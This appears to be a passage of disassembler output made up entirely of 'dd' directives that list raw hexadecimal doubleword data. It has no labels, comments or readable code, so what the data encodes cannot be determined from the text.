		dd 241C4C68h, 0C00CF913h, 0AE01EDEEh, 9D427117h, 4BB208A3h
		dd 494530h, 0FE4A9DE3h,	0BD8944D4h, 62EDA16h, 80FC60F5h
		dd 0F11C91A0h, 29718BDh, 0B311B7C3h, 0A472A8E0h, 3CC01A4Eh
		dd 4B2CB981h, 8A840953h, 8C0F8C72h, 6B1F7Dh, 772249D1h
		dd 0B6B1FCFDh, 52600068h, 97E47A87h, 0D48B950h,	38565B01h
		dd 24175734h, 0E7B4DC74h, 72B08714h, 88C7E0D1h,	660A264h
		dd 0FA1DC1F9h, 33805C90h, 32FE8875h, 56462C2Fh,	24C54BB4h
		dd 0D960C2E4h, 0DE00A6A2h, 5EC5FD53h, 280AA3EDh, 209889B7h
		dd 130332B6h, 0E626B105h, 21110049h, 2060230Eh,	59EC2F8Fh
		dd 0F8844A48h, 70098C47h, 829E864Eh, 0C072A6B9h, 60EB7E24h
		dd 15A450F3h, 0E090D9DFh, 51181AB5h, 18B77994h,	84070B31h
		dd 0A881C1E3h, 788E3226h, 8F7BF84Ch, 1C2F7BE4h,	0F9C247B0h
		dd 0FC6F1DA4h, 328D0018h, 9FED9862h, 0B7E8F207h, 5ACB8B44h
		dd 90405A0h, 0C394612Dh, 5DD8A910h, 60C6DC60h, 0E28B837h
		dd 0AAB78C2Ch, 307ECC80h, 20C2D8E5h, 18678714h,	0AF00EEFCh
		dd 51155291h, 0A49C6F64h, 80B090BCh, 17E2118h, 8A01F732h
		dd 69B908C3h, 489A3A14h, 0E4E92D18h, 0CBC500E4h, 0A32066A8h
		dd 2007C79h, 84D8A81h, 4BB69D6h, 8EF374B6h, 0EC408432h
		dd 0D13C8654h, 2E0D7A58h, 13502E7Dh, 0A2DA0014h, 0C5C0408h
		dd 34B78909h, 9DC61D3h,	787446E1h, 811475CBh, 0B55460FAh
		dd 3A207090h, 90714B39h, 46EF9BACh, 0BFA0E301h,	32A5F250h
		dd 6498F4DAh, 0A8E990h,	0BDCB512Dh, 1E554806h, 0C41D1E01h
		dd 0CD883B8Ch, 1AD44160h, 0C3870033h, 0BFB43138h, 55DE619h
		dd 1E28A4E9h, 32F60908h, 0E086A0E2h, 6812D10Bh,	0B8E17B0Eh
		dd 3D09446Dh, 4C789B5Eh, 1D896BDh, 1A675E8h, 6C2DE46Dh
		dd 0BB004D4h, 5CBCA8EEh, 0E8C45ECh, 0DBC41BE2h,	48F948EBh
		dd 74C6A00Fh, 302A0C4Ch, 950E718Ah, 3C5FC820h, 0F783978Bh
		dd 0FC9CCDC1h, 4704F6F2h, 6A0D70DAh, 3A004CDEh,	5C58891Dh
		dd 95DF6437h, 113A00Eh
		dd 365F3080h, 2E34723Ah, 2E120799h, 0D8E0A8B6h,	0DD1F8BCBh
		dd 590196B8h, 0A6F33C57h, 0A109AC24h, 0E830B960h, 81C89695h
		dd 2D2A30E7h, 0BCCF2A9Ch, 7EB2F484h, 0E4B24272h, 4623F03Ah
		dd 75612801h, 6E6E7C36h, 609C67E4h, 0D0F8C6C1h,	2B239440h
		dd 6C849D9Ah, 488852FEh, 0ABB03Ch, 0DBC8500Eh, 0FF95A6E1h
		dd 0A440C601h, 6E27E594h, 0FE229AC7h, 0C292560h, 9E703CFBh
		dd 567401F1h, 47BAF8B9h, 8817C8BEh, 0D81F54B4h,	0D8467A52h
		dd 0BD94F71h, 0B37F642Fh, 0B6F008DAh, 0A831264Bh, 9001BA30h
		dd 2DB42299h, 2AB8C817h, 7A1C1F91h, 1609392Dh, 8C5AC9DBh
		dd 0F4A057F4h, 0FD88A1CBh, 0E4289E37h, 5A3018C0h, 58356B66h
		dd 0BCE87002h, 953F220Eh, 8734E0DFh, 0FA032701h, 2A06CB9h
		dd 23209C59h, 4D27DB84h, 0E2EAC0E0h, 0C0018F5h,	2D9C62C9h
		dd 5288E49h, 113C0F80h,	0D90880D6h, 0D89188A3h,	0F618C1D9h
		dd 0B2C9B81Ch, 0BBC886C0h, 0CBC4BCC3h, 28B27C9h, 7DE5C420h
		dd 9C5A0E2Bh, 7179402h,	0A43CB7A2h, 6E3F00E0h, 11E97CD3h
		dd 0AD50CB14h, 2807103Ch, 0DCBBB309h, 0E72A88F0h, 97B5402Ah
		dd 854291BCh, 0A8818478h, 0E700582Eh, 0A098DB98h, 5B8C675Dh
		dd 2CF734C1h, 704C5C7Dh, 0B464073h, 0CAF262Ch, 0A89008h
		dd 7F7D3394h, 0DF8ABF1h, 79192A69h, 0F0F780BCh,	254A5F80h
		dd 8D0C018Fh, 51B1A796h, 0ADF306ACh, 0D5A4E380h, 63AE8494h
		dd 4EB096D4h, 7AEF1AA1h, 0C4F29016h, 927407D7h,	4060C54Fh
		dd 0EA09F6F0h, 6758D654h, 0C1B814B4h, 0C4B992C0h, 0ACFE8712h
		dd 0DB884478h, 0F7CF981Bh, 0FA62CB18h, 0C948902Eh, 63F0896h
		dd 4D2F0910h, 68A1950Ch, 4B96D4C0h, 0AE5E2D89h,	14142CDBh
		dd 469E88CBh, 0A8818CFDh, 5736F43h, 44B959A0h, 68B0D183h
		dd 1E24328Ch, 0AC6CEAF5h, 0B88C50BCh, 50E3BD4Ah, 8E0594Fh
		dd 86385413h, 5D37A207h, 1EC2597Fh, 2368D428h, 0F0E600FCh
		dd 1B479EC5h, 878CFF80h, 0A9988986h, 2928ACB0h,	8A60BB16h
		dd 0C1503ACCh, 4C6A3F32h, 0B613E7Ch, 9C3D2D91h,	90CA9A3h
		dd 444A9417h, 2A820851h, 5DD63F16h, 0A19B90A2h,	0E6FE5C8Fh
		dd 89B09800h, 833C5524h, 6CD716E1h, 4A819D00h, 0F13B64Eh
		dd 6F6194D9h, 0D7A69262h, 0EC1B38C4h, 0C141CCB7h, 0DCFA162Ch
		dd 4F44849Ch, 1034AD89h, 0D0C8B2C3h, 131D0980h,	98522AC8h
		dd 362620F0h, 228C8958h, 889DEED6h, 0E03EFF66h,	0D7DB8008h
		dd 0F883677Ch, 50A90055h, 0C280C45Ch, 810FEE9Ch, 0EB5F2788h
		dd 22105A30h, 5209AE2Ch, 0A02217AAh, 0FA8060B8h, 0D51B0037h
		dd 0E87CAE63h, 88F5EEBBh, 0AC8FD0h, 0C7B0E787h,	52DB235h
		dd 2E40A018h, 0D8D662Ah, 932364B9h, 0BC0078F0h,	96008CB7h
		dd 3294AC5Eh, 98290C71h, 0D63FE820h, 5F6C0469h,	140816BBh
		dd 0C313072Fh, 0B424BBA8h, 462A4220h, 0B9B8A0EBh, 3D94C5F3h
		dd 21E228F5h, 0BCC088A0h, 0E6600A25h, 61DA3261h, 84B95C4Ch
		dd 8F83940Bh, 0FE04A8F2h, 0D3491B09h, 5525E0A0h, 0E841C841h
		dd 1890D431h, 61E5C030h, 0B5F36567h, 0C63A6C17h, 0D300E53Eh
		dd 32367AF0h, 8B017137h, 0B0DA6694h, 0AC40827h,	4FBE0509h
		dd 2F3DE0h, 0BBE9F954h,	0BA27392Ch, 29000068h, 637201F8h
		dd 510BE93Dh, 14E72CE0h, 0C6E32D00h, 6FDEA9E0h,	71D71880h
		dd 9B182940h, 7A27807h,	0C1CF0DC5h, 47A4290Ah, 2B525F0h
		dd 1202DB9Ch, 15D34CBh,	0BEA10B60h, 1688C989h, 6607CC7Ah
		dd 0CE5C621Ah, 4EB1400h, 2B31C4C5h, 77ED20AEh, 741B17D6h
		dd 59F0B460h, 0FD058D0Eh, 289281E9h, 0CD89699h,	0B40E0076h
		dd 623EE261h, 731222A7h, 98000716h, 0F19D291Bh,	0F7F40186h
		dd 276E38FDh, 62AC22BAh, 5CBDEC71h, 248ABD64h, 1EB5324Dh
		dd 7D2832A2h, 162BACE0h, 9E8D349h, 0E78C85AEh, 8CDFC20Ch
		dd 84D13310h, 723A1521h, 0B623201Ch, 74452536h,	0C360BCE4h
		dd 4400D883h, 16FD938Eh, 48987833h, 3281ECB7h, 75687262h
		dd 1902DF04h, 0BDD9D55Fh, 4148863h, 0E6707Eh, 0FD120C91h
		dd 0A9101697h, 8157701h, 314A0F8h, 7E890C40h, 0EA070613h
		dd 8CCE0CA1h, 4EEDF0E9h, 0EE0A1B1Dh, 0F5110D00h, 19169Ah
		dd 0C20E9CF2h, 70B9DEBh, 1128FC61h, 619697A9h, 0E368B56Eh
		dd 0E191B7C9h, 0FB4ED00Fh, 9C0024B8h, 9D01C212h, 192D01Ch
		dd 0A8AEB13Bh, 40C1C74Eh, 199EB004h, 80A160CFh,	0F380DCE4h
		dd 4ECB30CCh, 0B0FA2D1h, 861E80CEh, 0DDA092F7h,	17A13118h
		dd 9A08501Bh, 18C11210h, 57ED1408h, 0C0803846h,	0FB06FD88h
		dd 112010A1h, 0A8DE00F7h, 95AC1A53h, 7060F71h, 0EFF099ECh
		dd 0C1E40C38h, 0CB4092ADh, 50C9600h, 0F5FC7DF4h, 0C76B00A8h
		dd 0B438ECC6h, 9D0CFAF1h, 0E1D6EB0Ah, 0CCE8C5h,	0F73B9305h
		dd 0F691F813h, 3CA9DCE2h, 1F73010Bh, 2177FDD4h,	0CD40C1F5h
		dd 1F1610A6h, 23FB83D8h, 0CC28F59Fh, 3CAEC27Ch,	0E441CCA2h
		dd 729C63BEh, 822B2F41h, 0F7054D88h, 52C3E881h,	0A30F7E00h
		dd 1AA12780h, 1853691Eh, 0CEC58C41h, 71DC500Bh,	285E8AD4h
		dd 12D748B2h, 0DAB4DCC0h, 0C3098096h, 2D286488h, 20C461ACh
		dd 622CD351h, 626065B4h, 58045016h, 0AB245359h,	2CDA0C62h
		dd 9784C658h, 0AA60602Ch, 878067FCh, 547CA2E3h,	625010ACh
		dd 99D4CA70h, 2C457388h, 6099B089h, 70D8D1AFh, 59D6CDE4h
		dd 0CA0FFC07h, 0E87194BAh, 533D110Eh, 1187D7A8h, 87C2ACBEh
		dd 18A9C010h, 58402A0Ch, 50D04D71h, 4F11E848h, 0B2970BB7h
		dd 33B02B3Ch, 0B308C4D0h, 0D21EA5BAh, 69AF1624h, 0B8E8529Ah
		dd 0C315855Ch, 303258B4h, 0E228BCF4h, 0E31F024Bh, 0BA561E2Ah
		dd 42330CE4h, 0FCB2139Ch, 1A3FC821h, 0BA4022Ah,	0CCD8F3F1h
		dd 0ACABCFE6h, 24A026C2h, 3113F26Ah, 45803058h,	38CBE098h
		dd 2A88B560h, 58B9DD65h, 6B2A30AAh, 0A044F0B0h,	94C2440h
		dd 11A53286h, 4430041Ah, 0D7892D03h, 26DC2815h,	0BECC99Dh
		dd 0B6D054F0h, 50B14F4Ch, 41D4E748h, 0DA671104h, 0CD7547Ch
		dd 0DF43866Fh, 0CF915F21h, 8C551C50h, 8248E849h, 0F465AEF7h
		dd 98D15B38h, 774091E7h, 2954DE87h, 9C823C12h, 0C0FBFD3h
		dd 405B10A8h, 6825B9ABh, 79E07102h, 394A189Ch, 0B104ED98h
		dd 0E0912047h, 0AF0A7A4h, 0D819CE00h, 5B628B27h, 0A3433DD3h
		dd 16DDCF96h, 64E2D8h, 136AEC65h, 6E33EAh, 2DEFBC30h, 0DD99AEE9h
		dd 0C4F49758h, 3EBBFB08h, 8CB01148h, 8C42B0F8h,	886C8EE5h
		dd 0F078C7B9h, 57927E60h, 25E40A5Ch, 0C4C8E50Ch, 466067BCh
		dd 663713h, 5A05819Dh, 77B9EF31h, 0E872254Bh, 0F91320BFh
		dd 0C89CD390h, 0ECD239h, 0F574C8AEh, 704EE9h, 73551A01h
		dd 0CC44E692h, 5F45B700h, 2B13023Fh, 6CA1BF91h,	0F068DD21h
		dd 700183BBh, 0FBBE7369h, 8FE85E5Bh, 0F3812D33h, 0B1CE3465h
		dd 4198E380h, 11010E64h, 0C1C676F0h, 312E363Dh,	7C3B0434h
		dd 6F8100F8h, 699E9489h, 20E8928Dh, 47652F49h, 0E8F28859h
		dd 1269090Eh, 1F180FCh,	0F5D9654Ch, 0CEB1B700h,	54AD274Dh
		dd 83081E0Ah, 34590121h, 2167153Fh, 42F7ECCh, 4000A323h
		dd 0B6E2D62Fh, 9A2004Bh, 88496B23h, 0C1028B1Fh,	5F97F3F7h
		dd 6570878Fh, 26C84780h, 5FFFF2E7h, 6DA4C8F1h, 0F9723500h
		dd 16BC1E1Dh, 0C0904873h, 6A09A980h, 0CD72B629h, 6200CC77h
		dd 0B9E3FFECh, 22350565h, 15004171h, 9284D301h,	3E296313h
		dd 77801469h
		dd 0C4FD5D23h, 100025EAh, 0FC2F1C09h, 94DD2DECh, 15B08990h
		dd 62E8B0CBh, 954B90B8h, 0BBC19867h, 32C46FEAh,	0EF0A0366h
		dd 7B5C9374h, 2E73A3A0h, 852C0700h, 0B902894h, 88085B5Dh
		dd 2A02E5C8h, 8227D938h, 0DDC480A2h, 5F08B10Ch,	0DCD82734h
		dd 9896FB91h, 5E1054C9h, 8000B846h, 0DF79463h, 60C60E5Ch
		dd 0A08D66h, 0B31D607Ch, 39B29861h, 933279C0h, 2664BBEAh
		dd 1644FB49h, 0EE749059h, 70E86FB9h, 15C18B7h, 0AC909F85h
		dd 1B381A19h, 22158360h, 0D8FB89FCh, 2A28DCFh, 2CFE8F70h
		dd 5DC052E5h, 7CA0E60Ch, 897EE25Dh, 302B703Eh, 2AB119DEh
		dd 9209C5Ah, 0F0C2E7A3h, 0F74000F4h, 5ADCC4D6h,	0C86C8B8Dh
		dd 3C10C0BEh, 0E00C4959h, 0E9998B65h, 673D006Ch, 0B75D2997h
		dd 607E472h, 784B8790h,	3DEA48C0h, 40A39528h, 3900918Ah
		dd 24597DE6h, 4CFCFA83h, 0F64EDCB8h, 0D85BE084h, 0B6AE1E09h
		dd 655C228h, 18CFCE6Bh,	64846D69h, 4C523BB0h, 0DF30BDE2h
		dd 0F7B20082h, 0EC1C8F6Dh, 1302F8F9h, 14080220h, 0EFACC1FCh
		dd 0F03E42F0h, 872499F0h, 5CBC20h, 0BFEDE43Ch, 5E09B57Dh
		dd 0F6096528h, 0ACDE12BCh, 0D4A401DCh, 463F0A01h, 0EB9C34h
		dd 86B431C4h, 1C08D5A6h, 30B08E70h, 7723A00Eh, 0EE7FA347h
		dd 0B4A2CD17h, 0FC26C2Eh, 76A0F20Fh, 265A8B54h,	9684710Ch
		dd 4573806h, 16EF5C74h,	4E0540BBh, 0F2F74F13h, 7A270020h
		dd 5EC19D72h, 4307309Bh, 3D7E77BEh, 0AFE26D81h,	768DB3CCh
		dd 129605A4h, 0F92FB661h, 0BB971688h, 58F040B5h, 48B17E52h
		dd 0A500C8A3h, 6079D3EDh, 0A4073363h, 0B397EA22h, 0FB2D0768h
		dd 3498C8Ah, 9D5A3A0Fh,	8B00BDD5h, 28CE90B6h, 1FF00B8h
		dd 38507BBEh, 4A562D3h,	0D54439C1h, 5E981080h, 0BB5C75BFh
		dd 21636Fh, 9E5525D2h, 343E378Bh, 49BCC30Ch, 0E7B0207Eh
		dd 48DAFA33h, 990CC42Fh, 9C835928h, 5063293Fh, 0FBB2C281h
		dd 21805BBBh, 0DF306EEh, 0B90C579Dh, 184063B8h,	395C6E4Ch
		dd 0B94152ECh, 60639818h, 61069D18h, 594739F7h,	7251804Ch
		dd 84E21070h, 33080028h, 398914C4h, 5D1F19EFh, 48C66CD6h
		dd 0C917C57h, 0D4F3A4B2h, 0E8035EA1h, 690A4BE2h, 3DDDC8D6h
		dd 0C8BD3060h, 0A9BB2E21h, 86D73703h, 3AA22213h, 0C5002319h
		dd 0E661DB5Ch, 57E4FD99h, 63E2880Fh, 0BBD1809Ch, 26EEF8D4h
		dd 0FEDCB5h, 2AC1B66Eh,	8C3B75Fh, 0B89EAB65h, 53B752Bh
		dd 0BC6022DDh, 164C70DBh, 0BA7CD339h, 24F73D15h, 301E22E0h
		dd 2E48A1B6h, 0F0C81BD1h, 519B082Bh, 0AC531D0Ah, 63BDDB80h
		dd 13E8776h, 135A7B59h,	8147E7E2h, 0BE186248h, 20A1706Fh
		dd 0A75E03E0h, 0FBA04075h, 18C54851h, 0BC19D0D9h, 0A9E37B21h
		dd 0B0506DBCh, 51D5D629h, 0A3E288DFh, 0A02E90B4h, 18965C55h
		dd 7037F44Ch, 1007B8B1h, 3BC5F63h, 48E0048h, 13497308h
		dd 0D3E95206h, 0FC1644Bh, 659AC2FCh, 34966BA0h,	0DD74E31Ch
		dd 58009CA2h, 48196D1Dh, 90A85872h, 10C8226Eh, 10A840h
		dd 0A8375E8Bh, 836B4CC3h, 61B6F858h, 77D10CC1h,	20D571D0h
		dd 9824D22Eh, 26809C2Dh, 936BA7B4h, 222C1996h, 0E07F79E3h
		dd 0A60F0A29h, 0C6F514E4h, 4B088A9h, 0DE822436h, 0BA2C822Bh
		dd 0AF265E21h, 0B1D05A61h, 1A7300F3h, 6482AE8Bh, 0D1C04A39h
		dd 7B2604E4h, 0E6FBB8FBh, 72A50C43h, 822139D4h,	0BD221C92h
		dd 88DE51B9h, 7017B1E1h, 0AAC4B726h, 47550B02h,	90518C57h
		dd 900E97D4h, 0B02882A8h, 67D6F260h, 20C5219Bh,	0D9728CBEh
		dd 9C60EF7Ah, 4C0AC119h, 0DDD0A874h, 926700BDh,	0A35E3E88h
		dd 0EA1F3D89h, 5BC09755h, 0D73ACE8h, 0A14AC69h,	0C257C18Dh
		dd 0B0D60430h, 0C4075F0Dh, 4BC36F7Bh, 0A2690ED8h, 0DC40A6C3h
		dd 0CBEDDAAAh, 158B4400h, 4C7C7E1Bh, 5029C058h,	2169033Eh
		dd 9E19010Eh, 54552448h, 98AB0488h, 0E0288568h,	68FB3E80h
		dd 41B9E785h, 403E068Bh, 0BC449B2Ch, 1347649h, 0E2658D0Eh
		dd 61805BE6h, 7606D054h, 94091082h, 11815926h, 0AC0CB71Ch
		dd 0A31913Dh, 98D34113h, 42102308h, 180C68D8h, 1011424Bh
		dd 7388547Ch, 0B78E467h, 3014594Dh, 0CC4E2124h,	60B53380h
		dd 0F4871F39h, 25560793h, 557C375h, 72C0459h, 0F0371F5Bh
		dd 909438A4h, 40C8AE0Eh, 0DEECCF82h, 0BBB1C1D4h, 276F08Fh
		dd 0E1046162h, 0CD338180h, 7C683751h, 0C3208260h, 80D1FD3Ah
		dd 0D5045C9Fh, 73A0FA4Dh, 6544ACC0h, 0D70501A2h, 6ABDDABCh
		dd 5E7860A1h, 76ED1812h, 7113C00h, 3DDAC8E3h, 699D4AAh
		dd 939E89D5h, 0BC0C9A51h, 0C1331E9h, 7C3067C6h,	0E613EB80h
		dd 6C0FE5C9h, 6D1893C1h, 20D66118h, 0FE7EE3A9h,	0B5A81C54h
		dd 1B10B900h, 88384D14h, 946C52ACh, 9A0D4C00h, 0ECA33757h
		dd 56A51F0h, 0F511B410h, 627BEB3Eh, 242158DAh, 60EEC491h
		dd 6501F73Ch, 0DF5E74C6h, 39D06075h, 0CAFA37D2h, 9FEE7029h
		dd 1909E23Eh, 0A5CBBC1Ah, 0B041E8B4h, 475DDD0Eh, 0F85078DDh
		dd 3E613BE5h, 0C300A55Eh, 0F97B771Ch, 0DA045AFDh, 0B17EF6B4h
		dd 0A7D37093h, 4C82AB54h, 88BC25A1h, 8F1F1DC8h,	3B0BDC35h
		dd 37649259h, 89BC0604h, 4B181056h, 0B8183D6Bh,	0DC145099h
		dd 0A1390121h, 5D3B384Eh, 4B9C4092h, 0D00676ADh, 15D4B962h
		dd 11254229h, 99229475h, 843C9B00h, 50FF6734h, 0CFEA01h
		dd 9E07D423h, 6BD6A2F3h, 0B573C301h, 97ECADD7h,	40E67EF1h
		dd 8F4FB4h, 611D3E36h, 0D0261008h, 5EB0A300h, 9124377Ch
		dd 48AE052Dh, 808B679Eh, 0C6B186F9h, 855E1400h,	3F18CD7Fh
		dd 0B543076Dh, 905ACF1Ah, 8B63407Ah, 9B10715h, 0E41900E8h
		dd 43F60485h, 758307F0h, 0A03B5FBAh, 0CF4F86D0h, 965DFA1Eh
		dd 1E76DAC2h, 9BAFC06Ah, 3988C0C6h, 0E72512ADh,	56B46200h
		dd 2340C9F6h, 0D70D02BBh, 0DB0867ABh, 7000B4C4h, 742F07B9h
		dd 1EAD7119h, 0B00E8EC5h, 0C7C0F861h, 6106AF73h, 0C59DD703h
		dd 76C30C98h, 30188C0Fh, 837A7960h, 17CD9150h, 865FC9h
		dd 51A9E45h, 0EE003AACh, 0E8A060A4h, 40C1F8h, 71154783h
		dd 457356Eh, 0F6EF4800h, 0BDF4DC9Fh, 3F5C003Ch,	0C2CD6ADEh
		dd 7A00B15Dh, 0CB79FE4Dh, 0E20E6Ch, 0F3221B57h,	6B2450B8h
		dd 1C74AE00h, 0A4D7B067h, 68960521h, 0FBBE37h, 98C85584h
		dd 1E05FE3Eh, 0E027E841h, 77858C90h, 42D0030Bh,	0C0DE6015h
		dd 0E370FDD8h, 5D147F00h, 0EC2AACD2h, 1A590049h, 524332CEh
		dd 0F400FFBAh, 7FAAE290h, 6020AB2Eh, 70AF29DEh,	0ED004AE0h
		dd 7A5307BAh, 15D747h, 0FE296EBFh, 41040A0h, 0BC38000h
		dd 0C4CCD49Dh, 0CFFCA065h, 0BBB40019h, 8881DC9Ah, 5400AB68h
		dd 227A3B5Bh, 480A2Bh, 8BE9FAF3h, 7BCB73DEh, 9C4AAD00h
		dd 6A167F4Ch, 4D7F1Ah, 5756EC3Bh, 51DE28D7h, 0C908BA01h
		dd 53202DBCh, 27AD6501h, 0EB310454h, 4803036h, 91D417Ch
		dd 0A782B45Ch, 6E74427h, 0F01289Fh, 0D50AB6Ah, 7400EEA6h
		dd 0FE00ED53h, 368B97Ah, 0A9BC57h, 78C092AEh, 5016B725h
		dd 13638100h, 8D204C9Dh, 0B5390027h, 35EAB32Ah,	1D007484h
		dd 7F73B069h, 3A7A830Eh, 907FFC5h, 0E0F32DCCh, 32629288h
		dd 0BC0E6318h, 3E6EC5C9h, 3187BD02h, 5F89D0h, 0CF325DA3h
		dd 12C7100h, 0E0FC419Dh, 3B75EED7h, 4B80D0C2h, 17CDA193h
		dd 9B006F61h, 0A54132EAh, 0FB0CE59h, 5D49EBC5h,	62C0BEE0h
		dd 6500D602h, 0E9D7CB04h
		dd 794B4Fh, 6850F5EEh, 72030E59h, 5341A700h, 51A544CFh
		dd 104A0331h, 2618BD2h,	0D5345FC8h, 0B84B7700h,	54E06352h
		dd 375E0FEEh, 0DFE2CA44h, 0B8802AA0h, 21A1D810h, 521183F3h
		dd 8095D71Ah, 502B5F0Eh, 0F816D03Ch, 5503784h, 0D1EE6011h
		dd 1700BF6Dh, 7BE0B3E7h, 301FAEh, 61126A9Ah, 32E4B8AAh
		dd 0C1A27C1Fh, 8039495Fh, 7FEAA569h, 9FF2ED7h, 366C1494h
		dd 53D7000h, 993023C2h,	0ACEBA992h, 157A0028h, 308229BBh
		dd 8F003CCDh, 0B46D1D80h, 3827A8DBh, 4B0013A9h,	0B1F84892h
		dd 0DD100F74h, 18002C78h, 56084482h, 0A1C6ACCh,	2BC353DEh
		dd 1A8FFCh, 453399F0h, 55B312C1h, 0D127E500h, 0DD64F08Dh
		dd 0DAACA041h, 0BCA50072h, 0E3D0E49Ch, 0D6377FB3h, 1D60D096h
		dd 3B60ECE0h, 710082D3h, 42EF5421h, 0FA3A64B5h,	86C20A4Fh
		dd 0C02ADCDh, 4385F48Ch, 2C7DE090h, 0D4010E8Fh,	3220C756h
		dd 0B1C2FA86h, 5BD7490Eh, 0C5D6C04Eh, 39844A9h,	0DE05EAFDh
		dd 88B03185h, 120FA8FBh, 72878C26h, 0E44714D0h,	0A0214886h
		dd 40452316h, 2FF29674h, 166497DBh, 2E001E20h, 2A8DA660h
		dd 9FCD3Ch, 59E582E0h, 67EE3Dh,	0EC8994F2h, 8EC6FA5Dh
		dd 2A8B250h, 0DF2E6C1Eh, 0D8E665DCh, 35144C01h,	0CAC0E8ACh
		dd 0B55C0048h, 0ADE5B498h, 91DB3C9h, 8684780Dh,	78B0EF84h
		dd 8B4D00F9h, 5810C599h, 0E01D9266h, 0AF40392Ah, 7D3508FAh
		dd 14D803CAh, 0F551B5B7h, 0C72785E0h, 0F4568000h, 0C6244F94h
		dd 2D210266h, 0F2540235h, 98C0C88Eh, 7AA65F92h,	20074C26h
		dd 0A249D681h, 6FE93E72h, 0E4B55420h, 762E0446h, 0C02B93EBh
		dd 0A33372A4h, 0A02ED874h, 9803B7B7h, 0B08BB6EEh, 0EECF894h
		dd 556189Bh, 4480F28Eh,	32C3615Fh, 0B6007E78h, 0A28F84F9h
		dd 4D6DC292h, 0AD0EF8A4h, 7AE0EA56h, 4771B818h,	458AE800h
		dd 1459B71Ah, 298505E9h, 85EFC8E4h, 339C4000h, 0FFB5887Bh
		dd 83574800h, 8D291BD2h, 0C8B61341h, 45180EC0h,	5DBEA602h
		dd 6053ACC8h, 122DED00h, 8DB10ADDh, 0B23D07CEh,	0E3974FAEh
		dd 0C7ADFC61h, 0E004A7D8h, 86BD6BCFh, 74001CE2h, 2AD43E3Dh
		dd 38BF5F4h, 45ABA9E1h,	0FD88649Bh, 143D184Eh, 347124A1h
		dd 758F5C03h, 0D248A08Dh, 0F1D641FDh, 8055FD54h, 0F764D791h
		dd 0E874DABEh, 7F4F32CAh, 60FD918h, 40118A82h, 0AD30584Ch
		dd 947A64B6h, 0B9573A45h, 554E7600h, 9328EC20h,	304F5428h
		dd 0F75CD90Fh, 0D718FDE3h, 20B53081h, 39F0410Bh, 8BECBD03h
		dd 0D086E6C3h, 1E61D6FCh, 40305C85h, 9F5E3D15h,	49F28E75h
		dd 64FED22Ah, 6C202943h, 0C983A03h, 0F81E5060h,	1996947h
		dd 486E1812h, 7095DB8Bh, 150365FCh, 514E9AC4h, 2468F321h
		dd 3019BC50h, 7E42CA50h, 39690D08h, 0E0A18070h,	0BC3E8BA9h
		dd 358A9001h, 7FE5CBD2h, 845C2990h, 7C44AB2Ah, 81A44489h
		dd 4A804848h, 15E9DB9Eh, 0B6A80961h, 28202FE2h,	845849FEh
		dd 281ACD01h, 0A1052765h, 0D52520h, 0A6D11678h,	749EE544h
		dd 70B71500h, 451847Dh,	17B090ECh, 31E2E885h, 6435CBE0h
		dd 7144CEDCh, 9ED22036h, 2EE69518h, 80E7A528h, 0EC025234h
		dd 8BB879FDh, 0B1D04048h, 0E580010Bh, 5315679Bh, 0DE74ECABh
		dd 0A156AE01h, 5A11F8EAh, 0ED4EECh, 173D36BFh, 0C5B777C2h
		dd 689F3900h, 0E71C52FFh, 0B13F077Ah, 0B03E4550h, 662225CEh
		dd 3BBD0C00h, 0C1EC7030h, 0FD4003BFh, 7909D45Eh, 0BDFCC4B0h
		dd 73608C2Eh, 30F99100h, 0A066D629h, 893FDCh, 4C0B2C24h
		dd 1AD7F8F1h, 0AACBC400h, 7A9A93EAh, 6A6300B8h,	0E44E1C5Ah
		dd 1E00EB3Ah, 0EFBC0BBBh, 89DA86h, 5CAC58BDh, 0B946C7C6h
		dd 780060F5h, 7F2D382Eh, 32E04700h, 0A7FD0FCh, 53F1A53h
		dd 0B88900A4h, 0AC0A6934h, 0C7286500h, 4008642Ch, 29C40374h
		dd 6FFB8DF2h, 30005F9Bh, 843CEDFFh, 0BCEA39h, 1FA30260h
		dd 86B41070h, 0C6C0FD03h, 0E02A5ABFh, 37FFAEEh,	0AD2052C9h
		dd 0E4A0D889h, 3D00F5A6h, 0DD23A40Eh, 3FB45BECh, 2C8B414Ch
		dd 0D7804785h, 9613437h, 5BC01103h, 0B84B78AFh,	90549469h
		dd 0AEC60170h, 8A669D49h, 89C034A5h, 7CC2358h, 0C1FE87B5h
		dd 0DD3B07D0h, 0C0BB009Ah, 0EAE2C9B2h, 0D200ED75h, 55772F47h
		dd 1B7DDAh, 231A64EFh, 4B7FE339h, 28900A24h, 0B4F18703h
		dd 7E9CD963h, 0D40CA880h, 5A04E99Dh, 3A01D375h,	0B67AEF2h
		dd 0D9EC49A9h, 5B50C07Bh, 96C106F5h, 0AB00387Ah, 4B90F24Fh
		dd 0A017E644h, 32185A4h, 2E94E573h, 0DEB84D84h,	9E030496h
		dd 36A12BAFh, 574AE84Ch, 64E84818h, 820BBE0Eh, 0A0B9B1A4h
		dd 6D0023ACh, 2FEF1007h, 0BBDCD5h, 8EAFA8FFh, 5E7E77CEh
		dd 4F479C00h, 0C832F83Eh, 2CF0E1Eh, 0D340F09Fh,	0A06EBE6Ah
		dd 40903C03h, 502AABAAh, 20541C46h, 1A0C0915h, 0F82CE93Ch
		dd 0F72312E6h, 80BC41DCh, 25619CF4h, 0E2CB30C8h, 92096B01h
		dd 89CD0536h, 27CDE6EDh, 6EBFDAF0h, 2006287Eh, 3B064029h
		dd 95BEEB8Ah, 0BB470711h, 85593A13h, 10C000B9h,	0AD2D644Ch
		dd 9200CDEAh, 1E0139BAh, 5D7FC0Fh, 60618871h, 0F51CF198h
		dd 3D802856h, 9A6E8818h, 0B7803AE8h, 853D1002h,	1C07E0D2h
		dd 0FD59BCEFh, 0CF308DC0h, 0FC5E0088h, 0CE2C579Ch, 3504296Eh
		dd 0EECC0A3Dh, 0A06048C7h, 2E4959Ah, 1292FD2Ch,	3B001C6Eh
		dd 0EE78C003h, 325E00BEh, 0E91571D5h, 0CF3E2E8Bh, 6B03F2A1h
		dd 4596EDAAh, 0E750C821h, 0D905023Bh, 15841295h, 3B594C0h
		dd 8B5EB802h, 0D8913987h, 0C7861EE4h, 7DD2C0CBh, 0E9A2A68h
		dd 78926DECh, 0CD570D09h, 1238486Ch, 0D83000F1h, 8DE6A5F8h
		dd 2701A6ADh, 0A38091C6h, 803059A2h, 0BD7E00B5h, 0A5ABA4FDh
		dd 0B4907FC1h, 44A0852Ch, 0D81C4097h, 20C63080h, 0F6CA0C64h
		dd 93500052h, 0F25B67BAh, 0C317A047h, 3301FAFFh, 0EEFD5C78h
